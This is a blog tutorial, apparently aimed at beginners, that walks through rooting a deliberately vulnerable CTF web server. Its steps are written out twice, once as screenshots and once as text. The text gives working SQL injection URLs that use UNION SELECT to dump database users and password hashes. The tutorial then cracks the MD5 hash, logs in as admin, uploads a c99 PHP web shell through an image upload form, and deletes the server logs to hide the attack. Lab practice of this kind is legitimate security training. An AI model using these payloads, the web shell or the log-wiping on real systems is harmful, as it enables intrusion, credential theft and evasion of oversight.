Hi All,
In this tutorial we will be rooting a vulnerable web server using Mantra Security Toolkit.
What all you need
1. Mantra Security Toolkit - Download
2. A vulnerable website. I'm using a modified version of LAMPSecurity CTF6
3. Any PHP Shell you are comfortable with
- Google for "c99 shell"
Now the process
Step 1:
I'm on the home page of the website now
![[Image: mantrahackbar1.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_saaTSDM6qgDQFDsR8mVkW89wZgRs8Z1s_ZKhOhRjqsfm_YWmaxClUh8Zv8DyKMs08PGpkAG5p6gpTllZ5F9la1NK3nMVG4UH6sFxNbJBBY6_vyiZkU6ZjYDo8sM3-rTSumhv9o7-9BL7B4b3XcW2GvW36KMM9Cx0O5sLBhZoAF0HTs=s0-d)
Step 2:
I went through all the pages of web site and found a page with URL input
![[Image: mantrahackbar2.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_vjQTNELlR9lmG2SgXo6LP1n6rFr67exJ2RJzQ_mf0InolTcp7mJ2tPt2T3bU_5gf_yQEBebSU8I210adNGAgmq1_2MWp9sJzhGvJ2p2WH9-Twbwp9bahrUMpjmxxUzpOZt46fNpJO4QV2vJ7goppkvW58mbYENoBjEd_70pytilYkVHQ=s0-d)
Step 3:
I launched Hackbar by pressing F9
![[Image: mantrahackbar3.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_vhWavQxDM2rPO6GzKS59g5z5VpEPJD7CL5G-aUVDmoR-kOTOnNAPIjxdybAJF5afrLKfiIIN9dFMliQGRN5hOy9M41x5lsAt7V4OvC1_Baugts5af3L5JGaByxmDpFoHAIuNNUjLfbOmHPzAuXttdpUZmxUY3Jg0r2Mk8Bv0n4hjC3aA=s0-d)
Step 4:
The power of single quote. I'm checking the web site is vulnerable or not by putting a ' at the end of the URL and pressing Execute.
![[Image: mantrahackbar4.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_vSJME5nt5pb2yQbajD6jsFd4mnZ9mVvTsEZM06PUA9P4M5c1r02XZhBztFb9RMGtx5kV2CxdnfblYat3lGvDPROysTZZ2z8IxQ40XGzqWKhLXNVt338TA30Qu1btCw1VnoQdVAUfkPKsZ3l3glqHXGnimzc96IAEToEk-Ol1TUDVhvfw=s0-d)
Since the page content is different from the previous one. I can make sure that the web page is vulnerable.
Step 5:
Lets find out the number of tables
![[Image: mantrahackbar6.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_tvDUCYSidN0udo7eXbOUbnT37vAbF0RIMIGGw6_721aeFsoy1una6UgaSR-803e9GhhSLT9bAA109QIBLWAO1BJRuDLmwFG_QZK8GdKKgwkW1jkGqC8ZUmUkKIp-thyPcoqCWF3LtoOAZzhKWJ2PLbgov9RtEPLH_lQ7chS75WrCjUvQ=s0-d)
Step 6:
I have to keep on increasing the last number till I see any changes in the page. In usual practice its gonna be a tedious task since there will be hundreds and thousands of tables if not more. But with this tool I can simply press on + button till I see any changes on the webpage
![[Image: mantrahackbar7.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_skl3o-3yLwj4TdfrS4FDmFwmUDcvfZGYjCzxqDTRHov_zvOvwtUJUet7To_v9-RI1Tlmv392S34p1Q0XescP-JD42n51MUeQmSqXNcFe5IUE0KbV0Qh9OPpYmFrRCIMVy_kpDdRjrNnH_pBWDx9tsm_WrHCrrrsdSz5Kfz2qAK_rxN=s0-d)
Step 7:
I went up to 7 and no change till now
![[Image: mantrahackbar12.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_sF7xmQtGByTYuPlvlh0TjNWRMeNn-1vrPxslBGH2UatOulDN6sAAwdrcszJBOXR2404bOr9PJ3yTHR2cp6DLq8C44zjKxWltPqkNPmCuBHYV4aWe-Qn_hNSH-k7Tvm_pli9-r6pgVgbDAO9KOCWHWfTQJ2jGrB75h_zeFR-YXCYqzvb60=s0-d)
Step 8:
I'm on 8 now and I can see the page changed
![[Image: mantrahackbar13.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_uN266tyPlLByG-tT-f0luKZhjqIMbTyDhwsY9sgQAwJCBT-liZz2kCv4cljtIPUAGIJf2Sd85OVAQEdXl4BRhztGbcBPlHDOQwtTd_pdtgiOIJMrLF3pfZLZvtHXTDPz_-fav9v1zo5w1ReVY9UgMLoO8FcJ53wpLMpCxRNMS7km6L8wE=s0-d)
Step 9:
Now lets go ahead and make a UNION statement. I just went to SQL > UNION SELECT STATEMENT
![[Image: mantrahackbar14.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_sIB03MLsUH0VL09C9x01vnuy0aUozmucGIN4LIqQb72T8vynBrzKoWe9_EawcaV0WzGENVoV4FiGC11lT9I8PUHlVq1fJULB0mSErMkyuicen5Won24BYBQv58g7LywxVlINsXnz7PXL9UkYBawobtNrE0Tyndr8eCHbmR91RY1tcrg7U=s0-d)
Step 10:
I provided the number of tables. Since I got a different page on table 8, I can make sure that table 8 does not exists and there are only 7 tables
![[Image: mantrahackbar16.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_uOJVhzk9bCQtvxRwR9e_YpFnfF75o8amDsqOd0VS2Wz5J3tiHt4y7N31-IjXALHmMF0MY0nTbMWJInezysagWhtn-nkNTMIGFf8bxyptTDiOKtGDfit5pYP_bz852WkW1WHqBHNscNR1rsck1PifR9-wIB4bwSLg0VHXkghs4gGeyomK0=s0-d)
Step 11:
Wonderful. I can see some numbers on the page now. Those are the vulnerable columns. Lets take the number 2
![[Image: mantrahackbar19.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_soUYrpn63W4PjRqqPccCcPYH0A9eUn-8epp98Mif2fvHXRkvWL08XymBt1b1zGLPpws0uxRONGKaHwZfE7ymxLQQOn_3XsPjOJeN1FUKaFUu5A0519f8l7gdK8Azd5un_IKSZu-eBBU86WSqEUd0dQZ_jfNGWnyeWg5jnIE43hkYPqtg=s0-d)
Step 12:
I replaced number 2 in URL with another SQL command, it got executed and result is displayed on the page
![[Image: mantrahackbar21.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_sfqG8LjF3yBOuWNMHSq94ENKMrDRfDmvJQ1p6B6VG6BwtaDD_bY5iuI4Fo5Ev-3zWtvWD2cNe7Ip_HSIc7nvUF3-X5Z6DWXRG6_hb-71d24-H4vbxhSJO0Pi3QJ4VtpDRO_kjF7PK6P7ozxTLRQ2F5SYBtArONRS2NUs0FMA7Tr8z8K0w=s0-d)
The current user is cms_user@localhost
Step 13:
Lets find out the version of the database. I replaced 2 in the URL with version() command
![[Image: mantrahackbar22.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_vhLhw7Nyi0UlOTWh-Qle8mxNAtqGAw8tqoMtAWxTe3_NPpbX9akwgCyH15XOdwV6731mOkkaQd7hEEBvR_37Vjl8CmK6VhqvCk_IS_CV0fqgQfqI9hBSP5Tw72a2xLS_WdnTO7gCsc-XrRPwwZPlaSgA1IeYqBA-6HYQhuVFn_xhCY3rk=s0-d)
5.0.45 is the version
Step 14:
Let me list all the tables
![[Image: mantrahackbar23.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_vyJ9CN2BPw1iPYSUTMLFj7ZXesB6TEhcxbaX8eYeK_nM9gwKKCCKE7ZJiDlXPjctJBc-cKwXVTa_h4OvHLVy5oZZKrtL0OFCuj3JGQ5p710TkXbbl798hKpvO4D0q4q3RKd3F-poj8HigKowwj4Gl3v7ZSwy4YquxhgQVm6myFmW-e4g=s0-d)
From this list I found "user" is an interesting table
Step 15:
Now I listed all the columns and its a big list
![[Image: mantrahackbar24.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_s50FR7btu7JxkRZYioBSlshL2FQf-JIA5aIg5dCiVufNPQNo_mVd5H2IoDsZU0iJx4HLn6bMoyggmHfcXlbCapRPDQxTABsAsoSwHLR2G-fhkPyFkX2urGd56_mIr2gYSH1xEHmMhkjh6hifsYWdk7ZwvQk2z2guN-en2rs6_6XHBgMQ=s0-d)
Step 16:
I want columns from the table "user" and nothing else
![[Image: mantrahackbar25.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_tvpRxB0lA1VLxTiDWZOZp4r4B4YNSFAZkH63QvzFxDooY0Si_2cUrWBjQTooQwVH6Rjkqf2NrC1PIMKjncO6zPVU_PmGblQjXbTKFgNc8GBbQZujsTn4sdhI4KDDRdnaH7yXeD6kQPSFpZ1OfQ7zrdrskB3Yq2Ef6_gWoK6q4rUJyLGwE=s0-d)
Step 17:
Lets find the user name
![[Image: mantrahackbar27.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_u8IuhoB4nK3_WT2JCq581YPS6OLkzWRVyXdpke5JwdX9Uh2Tlql9KbqzoqE8-JszqE4EY5ZKo_HisKVtZlVNLOSglmrosmDh6cjVNOeZfSmZ51riBXC62h-YgVJ9O7Goh1FK3yUrh6_8dKrMQgdcmWXovKQfmlkZiHeBQv8hRlHkcCTEA=s0-d)
Step 18:
Now, what about password
![[Image: mantrahackbar26.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_tl4ZpMy81HVkXNjDJDC6xpqs2Clr6zGqVn-dRcSD66xr2IBbeVxORA25SeYIqYwubLSDVU1rDIsRSlppK8LPTMqjsHW3UlPCopcn7I70MgdC_jV2_p2Bwq0oW8OvJX07cjDPr8WRVsdNAOFEl0baOuGtjLUWgR5WvCwJvZP62Dultglyc=s0-d)
Its encrypted
Step 19:
Decrypting the password. I copied the MD5 hash, pasted it into hackbar and went to Encryption > MD5 Menu > send to > md5.rednoize.com
![[Image: mantrahackbar30.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_vAGpBW7ZfQbwPh2UpOYTegRjrrSxrJzV86vk8weZMrQ-o7_IOFfkZMFSwUxyatmv7LD8jeORXVwNtPSukTqO2I0xBLJiuKc3OKaw414a63bqChcqOFQsRG1Xi0m-UtxmVKKT_5XYskwQL1sk_MWKHHWD6vOjhRuOkYmVm9qcfd9iYdNdQ=s0-d)
Step 20:
Voila.!!! I got the password
![[Image: mantrahackbar31.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_s6S2NO2VDO4MqdfNcS5oeVpLoNfXI0hehfOzPv4xxxwjKsCTAn2fhwBHzSbJ7Sm3eZqQrFngz6jvMwtwV3u4nATFMKE1HEDcic-NtNU9giudMSukQzVNH-EUsOOkjFFk-ZIgHEb9sdIWXg9pUndS4nmNsjLXxu8uuAiEIALsiwc9zUBrw=s0-d)
Step 21:
Finding the log in page. Its was right in front of me
![[Image: mantrahackbar32.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_vXASEXtaZoIB5LN73K4J63WgJgvJQtt8wzztVpM-pYGw8wWTAvFWUy7KQK8aHwqhoomlqmqV1Z0l6Bk2yv5Zze5_goZVtd_D07jrgIbsZxfIAsJbVCMbN8d3E8B-LZjaywXO9LjoS93lEFgn_ubaebYymiCyKhTXx_fl09qN-8gPmviSY=s0-d)
Step 22:
Logging in with the credentials I have
![[Image: mantrahackbar33.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_t1rLjSwxSLrRE60ZxPjPXBSWbyqfomvqgIWxviGtaVppEtdoZg_ivQG65qgi8UUEAVEHhzb3kYzr3uheAdAAEaFb-A-m2ET5iygQN5av0dcBvl0IkuPawR0mM05YSuXwCR0TZHWQX3CD5-0YeaStCA7WLPHmYx2g1I01Mr2ZHiWNhYaBA=s0-d)
Step 23:
Greetings.!!!
![[Image: mantrahackbar35.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_tXIsgVP8NOwjf81fx_EgDK-B_uNW7bRrF4-aSb3xOEJJagt676R9nOGoHbH1xXbV1f2lyjP2FJME3xHTg2ibKd8_wmO82f_8uUkMX1dK7CtDCsFdRwpTxcMTpQFmm2UG7cGmNmzGkXxPBdqWS8WVLMAXU0Ovtm4YhDo4m1UITOvM3xApQ=s0-d)
Step 24:
I'm an admin now. Look at my powers.
![[Image: mantrahackbar36.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_vPVV5m1wbUw8tqq59GHrqhNa67GjXkIBWfXc_YfjDyjuQYtQdygnh4RD0GL5tWPj3km0sZ8EiNTixFHFoU-G69pfoL1IeVupDUuVRIl9eTjqv2zVP_BrtnjEI1gB50C_g01JGwY0FCdD8Op8Xa3ESrJfjPjwTsXeIym0w-wRjm96zuAHs=s0-d)
Step 25:
Let me add an event
![[Image: mantrahackbar37.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_uXx28rDIxeorZYRe27e9FUOhFNFOJ60hx4x0gQT_yNkMFqEQp1VzthgmuIJh_RLk8aHa5buD55oSywEpmHtfug3KURblaDcOT1ahYHS3wS8qk49S7AR4S60A5lRyoguDlhIRkuBd9LgInbz5Uga14bp8QrlY8B8ZQ0E9ToOpnNEW2ZSg=s0-d)
Step 26:
and of course I want to upload a picture
![[Image: mantrahackbar38.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_vXKeI_Vgvv0wQhpdlsjTw6JiKNjz2pGHGG-eVH1e6xD--r8tcOOBu5hJbIheoBtuy07_MOq1VdU3Q1miWQjtmkZLEcVUoWfFOVjnr1OdGIczwbZM11024HxRlMVT8GaWfRTgbGDnLHLHRbHXV_fypn2CO_-r5IWLGrBaOJ0v0tK-kV6g=s0-d)
Step 27:
Lets see it allows me to upload the shell or not
![[Image: mantrahackbar39.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_vR_KX1yiVYDsgljcoItzrpgcZoX3u7ic53G7h34fe0mWWNXvm9bV8jSKZWjUfv48pNZf8n6dfF5gruj1fdTQIGGg2Iu40ySdUxka4LYOAVj2Peeo6LJroefmRTWOaT-Q9_HXsSDbXkppxeRL6RVeLJ2K_l5vxavy_-OkL6AxlqRmBWX9w=s0-d)
Step 28:
Now I'm pressing on "Add Event" button
![[Image: mantrahackbar40.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_unnStO58qdMVpg5JDO-VzJzrnc8lpdvfR0ej7cPEWtvN4OYn20Sj869vHRBQGab2L0F2Bwbd2SABJjGrjMsOqgbr3txcWZn1PxuuRYuUOnMCyymuT9mGtG7xu9GTD5sQfing29xPrvoZZk3rw2W7T9KBLr7Q0o_BMWMVwVFqSzPpFQJRY=s0-d)
Step 29:
Nice. Looks like it's got uploaded
![[Image: mantrahackbar41.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_tKrV5OWeX34F4gVmviKSvXOuMTOBC66iBxqmVaBKNbjKkaLBSZIQ4ehGbgKBFKqfpPcyWcaEPDG0WrzavobGfKxflLKtQY6937fIwookw6bKmhZ_93QFmywuFsvD8Q0zytqirrmxCRal_iBlm8RLTen8IhDMII3lh107UzQgEuuLDv6g=s0-d)
Step 30:
Let's see where the shell got uploaded to
![[Image: mantrahackbar42.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_s5kLOvhISAJym3dBW-_j9YDnCEf1vv-Gfa82y1oNub3OA0Iu_AukMf_GsY3svyTN1-6CK1DVvmNpCcG1onRxujMViKfunMkcU4a3h_PBWTf5tyvaFamJ8RzUEgehVRIuo3_XdhINejfKuP20rWJhR-oZDwcppi0yRTL_c2JPNlQRUJ-Xw=s0-d)
Step 31:
I'm trying to get the default upload location
![[Image: mantrahackbar43.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_tjGtsKifinzBp9xQbo7XiJt0s1i-PoMvbyyEGa-7WqE5dzfoD-58KvivorvibMyvcBS5iOqN76GsD3DZqFQfEk1UpZZU3CkEMKLp6FStHf5dPQoWU3ZMTKzordIyIkz9C5-tZ2K0XD5FcM69eYgKr2pyOXscKwhUuHTrlLHHahqRCZz7A=s0-d)
![[Image: mantrahackbar44.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_uKWQsQkVxZzXyNMEFT7mDdDUjnB_0Hk6r8yFUQaGKbca0WcPEu9YqKf9CkgiAzYRN0WaE_njXH9jQqx91fjXf472PVHGkKVKzBKKDUrGou8MSW3v_n7gY9BDwWhCxU51arznFLnnJO_urMX6mmuzzkrmQjTtphL_Lc8jANXTla9ibwJDs=s0-d)
Step 32:
Looks like I got it
![[Image: mantrahackbar45.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_sZnmmtdmnZLAgurLcBEJAuQeUzbYbXRDYtexE4wi6pmoD4-NtMccy7IT48g-txQgYiMtAoqSn5aeG-8RnIkOa14OdWtlgkqGZlJtrxo0Y-OLpCsrFcDI0Pz7IftErzkWmR1gUS7yfzGC7rX5bm7eHpCOH8hSp2VCTT1wkKY_zhE583rqI=s0-d)
Let me click on the c9shell.php file I just uploaded
Step 33:
Voila. I have shell access
![[Image: mantrahackbar46.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_vflhyGAA2hphxoSvgsqxpcD4CMuAFTWOg88dKfajsC7sPQgU-sVfvrdidqkNSJ2Ts9Cos4hxOERPdYs7lvlpja83GtdgeNx-L0h1eUTxmmi8fnLyTqz88CLpLaOr8y99_f7A2PeIJyTjRWSjAdVXeABCDOO__QuRhpA4SNEA7ybUZXuhQ=s0-d)
Step 34:
I simply clicked on the up button to get the root folder
![[Image: mantrahackbar48.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_un5fAES1Pf_pnt0oipJ2c84ZxfDsd84gOge1dEZpc1NV1Oij71e8tPiCwvWMd7_OECJUKQ96wXN5EF-Axk9km04rB29yUGkRWKRdHhqa8HGBlsWUk38eB0iokySSBfTSafuhhLZywpcu7jLvfHYRkzT7jcWzUEzk2w1iKMRmhjQXFY9s4=s0-d)
Now I can do whatever I wish. Deface the website, maintaining access or what ever. But its out of the scope of current tutorial
Step 35:
What I'm interested is the log folder
![[Image: mantrahackbar49.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_sgeaF8P7hZpTwBjrcF2h8b62LUIw_XuJi5ImmSZEhAHDWzaY3eTL_n8-5comh69rniTnNQFqKG7NZjNQfBKvhQRe_zRMe2fZhMz3cx50PN2plw6sbFWfZE3XXqp2fBVBko9TL3sTZjUAlRD6d20pjSOtkAjWBV57bf-HtdwJSUkVThGac=s0-d)
Step 36:
I clicked on the log.log file and it has the logs of my noisy SQL injection attacks
![[Image: mantrahackbar51.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_tzNolj_vjagx4MGL5p09tO0h878NvlBkceDenNjuoxKRK9Rtdcj8Zggpij-Jmc03A6rltCGA8vbclmlMgr-hz35Nyk8xzSfFaqIchFyzLFDs20jLhECJCDAE9VTysAP6jmk0lokB697-bnN7wPVaimxnOA-xKLmZVHcquFKhYsHoj1Gg=s0-d)
Step 37:
Let me go back and edit the log file
![[Image: mantrahackbar52.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_tt0jgV17nM4BDAbCg9rRRjdhXH7WQxlzIku4qaVkKgWmCCZV7uidr1SxAa54jIffx-0sBEL7kcqnKv43tUGvFMqHAGa9Bk7pd5mhlurBWI8yNkgY-TKJh82qdbWk3HBRCOs5Om_IpLYPEv3PDjr9p4nn1tSUmPLIL9802TlZfWVD6-df4=s0-d)
![[Image: mantrahackbar53.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_sT_PcOT9K0E4QyKz0Oz_5KigfB0qefENNMBU5Zpzbu6Vg8R8C4H0uBKAjMArK9BjbgIUzaVe3_2lJMRu80B5h5u-Hsl10EOG3-NdjymwRVMDAIpFe0K0yszABRhnKCFVYQkzQGdeIN6jSvOD7ZlKJ798dE-j4YCbv73t6dCiFn_N9WgA=s0-d)
Step 38:
I deleted complete log entries. Now saving it.
![[Image: mantrahackbar54.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_sJCM_-cV1BB_R6wxaUaxTpXbNyRT2rCFBFr0uie_ROLe5uc3XOQzExkwgIzB_uCsVdcZi5NJ9b5U2x1PzWrcpnpQ1rvWgMblN6_ybnnIx2Eds3OIPUW-OT5B_91Fjna-9vZ0etieFFo2E7u-ZGdAYmQu_1Qvi0ldjl7UA0J8uBVmiqW4I=s0-d)
Step 39:
Nice. Log file is empty now
![[Image: mantrahackbar56.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_tYxoczEURUqVdc09iw-Nqtumw7kKyE6dzF0fNfamu1jmaUeaMIy9uwFHX6EY6yhmiyKd051VomYGBgeVsygPw55JxAFFdFd4OavmvWE5bZjYZRxaeMnKPVb2JmGGd2iol4FxM1tYfxIqsjdntECw-6Do3RDICp5ksVqRRNZl5yW5RbYxE=s0-d)
Step 40:
Now. Lets remove the c99 shell by pressing on Self Remove
![[Image: mantrahackbar57.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_s95SrgjRvjy5EwljsECbTAMy7Tu8nQKpIwX72M7q-qRegDlJtts_Z6Qp0mX0FbOCvXoSIz3zwspqowjJJl6IpTdx67v9g0-Yllio_i6GTgrkPx90ciw-gXSrQ8jJNX8rQUDEh2KkNXUWvDvpMV62b3V5MQpyP13zGUla38ryy_5YVIO3Q=s0-d)
Step 41:
Confirmed.!!!
![[Image: mantrahackbar58.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_t34RtbDFM_2HfCzpULECqKAEKQNkkBdtwHGDaJpaLg1pbCs4AIMqpeQtmx0OOp4TDgZ9QrelrOQXd6lT3H-Xwx2dnwVNKjhpsnJtHt53uwuZo5n8AW84PPptdz46uNuJEqkf15dhncVt0gz-ic6zpc2muMO5j1Yv5Aan3MLQQP0t770Fc=s0-d)
Step 42:
OK. Good Bye C99
![[Image: mantrahackbar59.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_teqONPG_cAgvpM2HxdFsmALxAcezU3cKm00xQcWI3Ze3yw4yUEJvLm1s-nLaWOIxVQFlMZIWF9ysY0EPeJoCTO9GA81UrVXtbP6u1aUPm90dZkEbVOyK6-fzcvlvJ24T8Pk-lQ5pExjTWqvUOeCFPfvGMdN06Ij8Ln6MOxkrCI4ej_Zw=s0-d)
Step 43:
Well. It got deleted itself
![[Image: mantrahackbar60.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_vVmWBQEodS2l_umFJdGE_6FkCfFrSrLRosAzj07NWFHczXXRVukt_qvbP-IhCmtBPI3j1Kkyg2HihJ41qiYJJb-HljENmvu6UzlNgRj0LEOOIGp8HgT54b-NCtAw3UW1PV3TpK0kBquGToYTpj4qi5KGqWH0N_Kdq4YRchgwRNUggjuNM=s0-d)
In this tutorial we will be rooting a vulnerable web server using Mantra Security Toolkit.
What all you need
1. Mantra Security Toolkit - Download
2. A vulnerable website. I'm using a modified version of LAMPSecurity CTF6
3. Any PHP Shell you are comfortable with
- Google for "c99 shell"
Now the process
Step 1:
I'm on the home page of the website now
http://192.168.132.128/
Step 2:
I went through all the pages of web site and found a page with URL input
http://192.168.132.128/?id=13
Step 3:
I launched Hackbar by pressing F9
Step 4:
The power of single quote. I'm checking the web site is vulnerable or not by putting a ' at the end of the URL and pressing Execute.
http://192.168.132.128/?id=13'
Since the page content is different from the previous one. I can make sure that the web page is vulnerable.
Step 5:
Lets find out the number of tables
http://192.168.132.128/?id=13 order by 1
Step 6:
I have to keep on increasing the last number till I see any changes in the page. In usual practice its gonna be a tedious task since there will be hundreds and thousands of tables if not more. But with this tool I can simply press on + button till I see any changes on the webpage
http://192.168.132.128/?id=13 order by 7
Step 7:
I went up to 7 and no change till now
http://192.168.132.128/?id=13 order by 7
Step 8:
I'm on 8 now and I can see the page changed
http://192.168.132.128/?id=13 order by 8
Step 9:
Now lets go ahead and make a UNION statement. I just went to SQL > UNION SELECT STATEMENT
Step 10:
I provided the number of tables. Since I got a different page on table 8, I can make sure that table 8 does not exists and there are only 7 tables
Step 11:
Wonderful. I can see some numbers on the page now. Those are the vulnerable columns. Lets take the number 2
http://192.168.132.128/?id=13 UNION SELECT 1,2,3,4,5,6,7
Step 12:
I replaced number 2 in URL with another SQL command, it got executed and result is displayed on the page
http://192.168.132.128/?id=13 UNION SELECT 1,user(),3,4,5,6,7
The current user is cms_user@localhost
Step 13:
Lets find out the version of the database. I replaced 2 in the URL with version() command
http://192.168.132.128/?id=13 UNION SELECT 1,version(),3,4,5,6,7
5.0.45 is the version
Step 14:
Let me list all the tables
http://192.168.132.128/?id=13 UNION SELECT 1,table_name,3,4,5,6,7 from information_schema.tables
From this list I found "user" is an interesting table
Step 15:
Now I listed all the columns and its a big list
http://192.168.132.128/?id=13 UNION SELECT 1,column_name,3,4,5,6,7 from information_schema.columns
Step 16:
I want columns from the table "user" and nothing else
http://192.168.132.128/?id=13 UNION SELECT 1,column_name,3,4,5,6,7 from information_schema.columns where table_name='user'
Step 17:
Lets find the user name
http://192.168.132.128/?id=13 UNION SELECT 1,user_username,3,4,5,6,7 from user
Step 18:
Now, what about password
http://192.168.132.128/?id=13 UNION SELECT 1,user_password,3,4,5,6,7 from user
Its encrypted
Step 19:
Decrypting the password. I copied the MD5 hash, pasted it into hackbar and went to Encryption > MD5 Menu > send to > md5.rednoize.com
Step 20:
Voila.!!! I got the password
Step 21:
Finding the log in page. Its was right in front of me
Step 22:
Logging in with the credentials I have
Step 23:
Greetings.!!!
Step 24:
I'm an admin now. Look at my powers.
Step 25:
Let me add an event
Step 26:
and of course I want to upload a picture
Step 27:
Lets see it allows me to upload the shell or not
Step 28:
Now I'm pressing on "Add Event" button
Step 29:
Nice. Looks like it's got uploaded
Step 30:
Let's see where the shell got uploaded to
Step 31:
I'm trying to get the default upload location
Step 32:
Looks like I got it
Let me click on the c9shell.php file I just uploaded
Step 33:
Voila. I have shell access
Step 34:
I simply clicked on the up button to get the root folder
Now I can do whatever I wish. Deface the website, maintaining access or what ever. But its out of the scope of current tutorial
Step 35:
What I'm interested is the log folder
Step 36:
I clicked on the log.log file and it has the logs of my noisy SQL injection attacks
Step 37:
Let me go back and edit the log file
Step 38:
I deleted complete log entries. Now saving it.
Step 39:
Nice. Log file is empty now
Step 40:
Now. Lets remove the c99 shell by pressing on Self Remove
Step 41:
Confirmed.!!!
Step 42:
OK. Good Bye C99
Step 43:
Well. It got deleted itself
H4qqy H4ck!ng
This comment has been removed by a blog administrator.
ReplyDeleteHmmmok Nice share
ReplyDelete